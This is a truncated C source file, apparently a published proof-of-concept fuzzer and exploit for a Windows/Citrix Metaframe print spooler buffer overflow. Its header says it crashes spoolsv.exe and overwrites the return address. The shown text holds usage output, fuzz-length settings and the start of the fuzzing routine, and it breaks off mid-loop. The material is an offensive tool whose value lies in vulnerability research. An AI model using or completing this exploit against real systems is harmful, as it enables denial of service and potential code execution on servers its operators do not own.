/* Proof of concept exploit for ZDI - Citrix Metaframe spooler service vulnerability Microsoft Windows - EnumPrinter() & EnumPrinterW() Fuzzer v0.1 Author: Andres Tarasco Acuña - atarasco@514.es url: http://www.514.es This is an intial version of EnumPrinter() and OpenPrinter() fuzzer. I hope that it will help to identify similar vulnerabilities. Tested against win2k3 + Citrix presentation server. If the system is vulnerable this application will kill spooler service (spoolsv.exe ) and ret will be overwritten with 0x00410041 514 Tiger Team ownz u */ #include #include #include #pragma comment(lib,"Winspool.lib") void usage(char *name) { printf("Usage: %s -a (Ascii fuzzing for local printer providers)\n",name); printf("Usage: %s -u (Unicode fuzzing for local printer providers)\n",name); exit(0); } #define RECURSIVE 1 #define OPT_UNICODE 2 #define MAX_PRINTER_LEN 4096 #define _DBG_ #undef _DBG_ int CustomFuzzSize[]= {25,50,100,150,250,300,500,1000,1500, 2000}; wchar_t dst[MAX_PRINTER_LEN]; void Fuzzer( wchar_t *orig,int opt, int unicode) { int i,j; int len; if (unicode) len=wcslen(orig); else len=strlen((char *)orig); memset((char *)dst,'\0',sizeof(dst)); memcpy((char *)dst,orig,len*(1+unicode)); j=wcslen(orig); for(i=0;i